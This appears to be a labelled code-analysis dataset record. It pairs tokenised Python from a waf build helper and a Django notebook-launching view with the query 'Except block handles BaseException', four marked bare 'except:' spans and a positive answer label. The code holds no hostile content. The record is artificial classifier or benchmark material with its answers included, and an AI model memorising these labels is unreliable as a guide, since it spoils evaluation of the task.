"join_", "(_", "pyli", "bdi", "r_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "libp", "yth", "on", "%", "s", ".", "a", "'_", "%_", "ctx_", "._", "env_", "[_", "'", "PYTHON", "\\u", "VERSI", "ON", "'_", "]_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "env_", "[_", "'", "LIB", "PATH", "\\u", "python", "'_", "]_", "=_", "pyli", "bdi", "r_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "PY", "EMBED", " ", "value", " ", "shou", "ld", " ", "be", " ", "ok", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "disable", " ", "fat", "/", "universal", " ", "archives", " ", "on", " ", "dar", "win_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ctx_", "._", "is", "\\u", "dar", "win_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "n_", "in_", "(_", "'", "CFLAGS", "'_", ",_", "'", "CXX", "FLAG", "S", "'_", ",_", "'", "LINK", "FLAG", "S", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "indices_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "a_", "in_", "enumerate_", "(_", "ctx_", "._", "env_", "[_", "'%", "s", "\\u", "python", "'_", "%_", "n_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "a_", "==_", "'-", "arch", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "remove", "s", " ", "['", "-", "arch", "',", " ", "'", "x8", "6", "\\u", "64", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "indices_", "._", "append_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "indices_", "._", "append_", "(_", "i_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "args_", "=_", "[_", "a_", "for_", "i_", ",_", "a_", "in_", "enumerate_", "(_", "ctx_", "._", "env_", "[_", "'%", "s", "\\u", "python", "'_", "%_", "n_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "(_", "i_", "in_", "indices_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "env_", "[_", "'%", "s", "\\u", "python", "'_", "%_", "n_", "]_", "=_", "args_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "make", " ", "sure", " ", "the", " ", "correct", " ", "arch", " ", "is", " ", "bui", "lt", " ", "(", "32", "/", "64", " ", "!!", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "arch", "\\u", "flag_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ctx_", "._", "is", "\\u", "dar", "win_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ctx_", "._", "is", "\\u", "32", "b_", "(_", ")_", ":_", "arch", "\\u", "flag_", "=_", "[_", "'-", "arch", "'_", ",_", "'", "i3", "86", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "arch", "\\u", "flag_", "=_", "[_", "'-", "arch", "'_", ",_", "'", "x8", "6", "\\u", "64", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "ctx_", "._", "is", "\\u", "linux_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ctx_", "._", "is", "\\u", "32", "b_", "(_", ")_", ":_", "arch", "\\u", "flag_", "=_", "[_", "'-", "m3", "2", "'_", ",_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "arch", "\\u", "flag_", "=_", "[_", "'-", "m", "64", "'_", ",_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "ctx_", "._", "is", "\\u", "freeb", "sd_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ctx_", "._", "is", "\\u", "32", "b_", "(_", ")_", ":_", "arch", "\\u", "flag_", "=_", "[_", "'-", "m3", "2", "'_", ",_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "arch", "\\u", "flag_", "=_", "[_", "'-", "m", "64", "'_", ",_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "n_", "in_", "(_", "'", "CFLAGS", "'_", ",_", "'", "CXX", "FLAG", "S", "'_", ",_", "'", "LINK", "FLAG", "S", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "env_", "._", "append", "\\u", "unique_", "(_", "'%", "s", "\\u", "python", "'_", "%_", "n_", ",_", "arch", "\\u", "flag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "disable", " ", "the", " ", "creati", "on", " ", "of", " ", ".", "pyo", " ", "files_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ctx_", "._", "env_", "[_", "'", "PY", "O", "'_", "]_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "retrieve", " ", "the", " ", "prefix_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "[_", "ctx_", "._", "env_", "._", "PYTHON", "\\u", "CONFIG_", ",_", "\"--", "prefix", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "ctx_", "._", "cmd", "\\u", "and", "\\u", "log_", "(_", "cmd_", ")_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "env_", "[_", "\"", "PYTHON", "\\u", "PREF", "IX", "\"_", "]_", "=_", "lines_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "env_", "[_", "\"", "LIB", "PATH", "\\u", "python", "\"_", "]_", "=_", "[_", "l_", "._", "replace_", "(_", "\"", "646", "4", "\"_", ",_", "\"", "64", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "l_", "in_", "ctx_", "._", "env_", "[_", "\"", "LIB", "PATH", "\\u", "python", "\"_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "register", " ", "the", " ", "python", " ", "module_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fname_", "=_", "sys_", "._", "modules_", "[_", "'", "waf", "lib", ".", "Tool", "s", ".", "python", "'_", "]_", "._", "\\u\\u", "file\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fname_", "._", "endswith_", "(_", "'.", "pyc", "'_", ")_", ":_", "fname_", "=_", "fname_", "[_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "hwa", "f", "\\u", "export", "\\u", "module_", "(_", "ctx_", "._", "root_", "._", "find", "\\u", "node_", "(_", "fname_", ")_", "._", "abspath_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ctx_", "._", "env_", "._", "HW", "AF", "\\u", "FO", "UND", "\\u", "PYTHON", "_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "conf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "find", "\\u", "python", "\\u", "module_", "(_", "ctx_", ",_", "module", "\\u", "name_", ",_", "condition_", "=_", "''_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "load_", "(_", "'", "hwa", "f", "-", "base", "'_", ",_", "tool", "dir_", "=_", "\\u", "hep", "tool", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "ctx_", "._", "env_", "._", "CXX", "_", "and_", "not_", "ctx_", "._", "env_", "._", "CC_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "._", "fatal_", "(_", "'", "load", " ", "a", " ", "C", " ", "or", " ", "C", "++", " ", "compiler", " ", "first", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "ctx_", "._", "env_", "._", "HW", "AF", "\\u", "FO", "UND", "\\u", "PYTHON", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "find", "\\u", "python_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "found_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os", "\\u", "env_", "=_", "dict_", "(_", "os_", "._", "environ_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "env_", "._", "stash", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "env_", "=_", "ctx_", "._", "\\u", "get", "\\u", "env", "\\u", "for", "\\u", "subproc", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "k_", ",_", "v_", "in_", "env_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "environ_", "[_", "k_", "]_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ctx_", "._", "check", "\\u", "python", "\\u", "module_", "(_", "module", "\\u", "name_", ",_", "condition_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "found_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "ctx_", "._", "errors_", "._", "Configura", "tion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "environ_", "=_", "os", "\\u", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ctx_", "._", "env_", "._", "revert", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "found_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "environ_", "=_", "os", "\\u", "env_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "found_", "and_", "kwargs_", "._", "get_", "(_", "'", "mandat", "ory", "'_", ",_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ctx_", "._", "fatal_", "(_", "\"", "python", " ", "module", " ", "%", "s", " ", "not", " ", "found", "\"_", "%_", "module", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
hydroshare/hydroshare2/ga_interactive/views.py
[ { "content": "def shared_notebook(request, *args, **kwargs):\n notebook_settings = list(settings.IPYTHON_SETTINGS)\n user_directory = os.path.join(settings.IPYTHON_BASE, '_shared')\n port = 8888\n hostname = settings.IPYTHON_HOST\n target_url='http://{hostname}:{port}/'.format(hostname=hostname, port=port)\n\n notebook_settings.append('--NotebookManager.notebook_dir={user_path}'.format(user_path=user_directory))\n notebook_settings.append('--ipython-dir={user_path}/ipython'.format(user_path=user_directory))\n notebook_settings.append('--port={port}'.format(port=port)) # ensure a unique port for each user\n notebook_settings.append('--pylab=inline')\n notebook_settings.append('--no-browser')\n\n if not os.path.exists(settings.IPYTHON_BASE):\n os.mkdir(settings.IPYTHON_BASE)\n\n if not os.path.exists(user_directory):\n os.mkdir(user_directory)\n os.mkdir(os.path.join(user_directory, 'shared'))\n\n try:\n urllib2.urlopen(target_url).read()\n except:\n print \"no notebook found. running a new one in a subshell\"\n run_notebook(notebook_settings)\n\n starting = 5\n while starting:\n try:\n urllib2.urlopen(target_url).read()\n return HttpResponseRedirect(target_url)\n except:\n time.sleep(1)\n starting -= 1", "metadata": "root.shared_notebook", "header": "['module', '___EOS___']", "index": 16 }, { "content": "def notebook_for_user(request, *args, **kwargs):\n \"\"\"\n This should proxy or create an IPython notebook inside of Django, but instead it redirects to the IPython\n notebook URL, forcing a person to go to a different web application entirely. This is not ideal, but it's the\n best we can do right now, as IPython Notebook is complicated enough to be difficult to proxy to (it uses websockets)\n \"\"\"\n user = request.user\n notebook_settings = list(settings.IPYTHON_SETTINGS)\n user_directory = os.path.join(settings.IPYTHON_BASE, user.email)\n port = 8888+user.pk\n hostname = '127.0.0.1'\n target_url='http://{hostname}:{port}/'.format(hostname=hostname, port=port)\n\n if user.is_authenticated():\n notebook_settings.append('--NotebookManager.notebook_dir={user_path}'.format(user_path=user_directory))\n notebook_settings.append('--ipython-dir={user_path}/ipython'.format(user_path=user_directory))\n notebook_settings.append('--port={port}'.format(port=port)) # ensure a unique port for each user\n notebook_settings.append('--pylab=inline')\n notebook_settings.append('--no-browser')\n\n if not os.path.exists(user_directory):\n os.mkdir(user_directory)\n os.mkdir(os.path.join(user_directory, user.email))\n\n try:\n urllib2.urlopen(target_url).read()\n except:\n print \"no notebook found. running a new one in a subshell\"\n run_notebook(notebook_settings)\n\n starting = 5\n while starting:\n try:\n urllib2.urlopen(target_url).read()\n return HttpResponseRedirect(target_url)\n except:\n time.sleep(1)\n starting -= 1", "metadata": "root.notebook_for_user", "header": "['module', '___EOS___']", "index": 52 } ]
[ { "span": "except:", "start_line": 38, "start_column": 4, "end_line": 38, "end_column": 11 }, { "span": "except:", "start_line": 47, "start_column": 8, "end_line": 47, "end_column": 15 }, { "span": "except:", "start_line": 78, "start_column": 4, "end_line": 78, "end_column": 11 }, { "span": "except:", "start_line": 87, "start_column": 8, "end_line": 87, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "shared", "\\u", "notebook_", "(_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "notebook", "\\u", "settings_", "=_", "list_", "(_", "settings_", "._", "IP", "YT", "HON", "\\u", "SETTINGS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "directory_", "=_", "os_", "._", "path_", "._", "join_", "(_", "settings_", "._", "IP", "YT", "HON", "\\u", "BASE_", ",_", "'\\u", "shared", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "8888", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hostname_", "=_", "settings_", "._", "IP", "YT", "HON", "\\u", "HOST_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "\\u", "url_", "=_", "'", "http", "://", "{", "host", "name", "}:", "{", "port", "}/'", "_", "._", "format_", "(_", "hostname_", "=_", "hostname_", ",_", "port_", "=_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "notebook", "\\u", "settings_", "._", "append_", "(_", "'--", "Notebook", "Manager", ".", "notebook", "\\u", "dir", "={", "user", "\\u", "path", "}'_", "._", "format_", "(_", "user", "\\u", "path_", "=_", "user", "\\u", "directory_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "notebook", "\\u", "settings_", "._", "append_", "(_", "'--", "ipython", "-", "dir", "={", "user", "\\u", "path", "}/", "ipython", "'_", "._", "format_", "(_", "user", "\\u", "path_", "=_", "user", "\\u", "directory_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "notebook", "\\u", "settings_", "._", "append_", "(_", "'--", "port", "={", "port", "}'_", "._", "format_", "(_", "port_", "=_", "port_", ")_", ")_", "#", " ", "ensure", " ", "a", " ", "unique", " ", "port", " ", "for", " ", "each", " ", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "notebook", "\\u", "settings_", "._", "append_", "(_", "'--", "pyla", "b", "=", "inline", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "notebook", "\\u", "settings_", "._", "append_", "(_", "'--", "no", "-", "browse", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "settings_", "._", "IP", "YT", "HON", "\\u", "BASE_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "settings_", "._", "IP", "YT", "HON", "\\u", "BASE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "user", "\\u", "directory_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "user", "\\u", "directory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "mkdir_", "(_", "os_", "._", "path_", "._", "join_", "(_", "user", "\\u", "directory_", ",_", "'", "shared", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "urllib2_", "._", "urlopen_", "(_", "target", "\\u", "url_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "no", " ", "notebook", " ", "found", ".", " ", "runn", "ing", " ", "a", " ", "new", " ", "one", " ", "in", " ", "a", " ", "subs", "hell", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "run", "\\u", "notebook_", "(_", "notebook", "\\u", "settings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "startin", "g_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "startin", "g_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "urllib2_", "._", "urlopen_", "(_", "target", "\\u", "url_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Respons", "e", "Redirect_", "(_", "target", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "startin", "g_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "notebook", "\\u", "for", "\\u", "user_", "(_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "shou", "ld", " ", "proxy", " ", "or", " ", "create", " ", "an", " ", "IP", "yth", "on", " ", "notebook", " ", "insi", "de", " ", "of", " ", "Dj", "ang", "o", ",", " ", "but", " ", "inst", "ead", " ", "it", " ", "redirec", "ts", " ", "to", " ", "the", " ", "IP", "yth", "on", "\\", "10", ";", " ", " ", " ", " ", "notebook", " ", "URL", ",", " ", "forcing", " ", "a", " ", "person", " ", "to", " ", "go", " ", "to", " ", "a", " ", "different", " ", "web", " ", "applica", "tion", " ", "entire", "ly", ".", " ", " ", "Thi", "s", " ", "is", " ", "not", " ", "ideal", ",", " ", "but", " ", "it", "'", "s", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "best", " ", "we", " ", "can", " ", "do", " ", "right", " ", "now", ",", " ", "as", " ", "IP", "yth", "on", " ", "Notebook", " ", "is", " ", "compli", "cated", " ", "eno", "ugh", " ", "to", " ", "be", " ", "difficult", " ", "to", " ", "proxy", " ", "to", " ", "(", "it", " ", "use", "s", " ", "websocket", "s", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "request_", "._", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "notebook", "\\u", "settings_", "=_", "list_", "(_", "settings_", "._", "IP", "YT", "HON", "\\u", "SETTINGS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "directory_", "=_", "os_", "._", "path_", "._", "join_", "(_", "settings_", "._", "IP", "YT", "HON", "\\u", "BASE_", ",_", "user_", "._", "email_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "8888", "_", "+_", "user_", "._", "pk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hostname_", "=_", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "target", "\\u", "url_", "=_", "'", "http", "://", "{", "host", "name", "}:", "{", "port", "}/'", "_", "._", "format_", "(_", "hostname_", "=_", "hostname_", ",_", "port_", "=_", "port_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "user_", "._", "is", "\\u", "authenticated_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "notebook", "\\u", "settings_", "._", "append_", "(_", "'--", "Notebook", "Manager", ".", "notebook", "\\u", "dir", "={", "user", "\\u", "path", "}'_", "._", "format_", "(_", "user", "\\u", "path_", "=_", "user", "\\u", "directory_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "notebook", "\\u", "settings_", "._", "append_", "(_", "'--", "ipython", "-", "dir", "={", "user", "\\u", "path", "}/", "ipython", "'_", "._", "format_", "(_", "user", "\\u", "path_", "=_", "user", "\\u", "directory_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "notebook", "\\u", "settings_", "._", "append_", "(_", "'--", "port", "={", "port", "}'_", "._", "format_", "(_", "port_", "=_", "port_", ")_", ")_", "#", " ", "ensure", " ", "a", " ", "unique", " ", "port", " ", "for", " ", "each", " ", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "notebook", "\\u", "settings_", "._", "append_", "(_", "'--", "pyla", "b", "=", "inline", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "notebook", "\\u", "settings_", "._", "append_", "(_", "'--", "no", "-", "browse", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "user", "\\u", "directory_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "user", "\\u", "directory_", ")_", 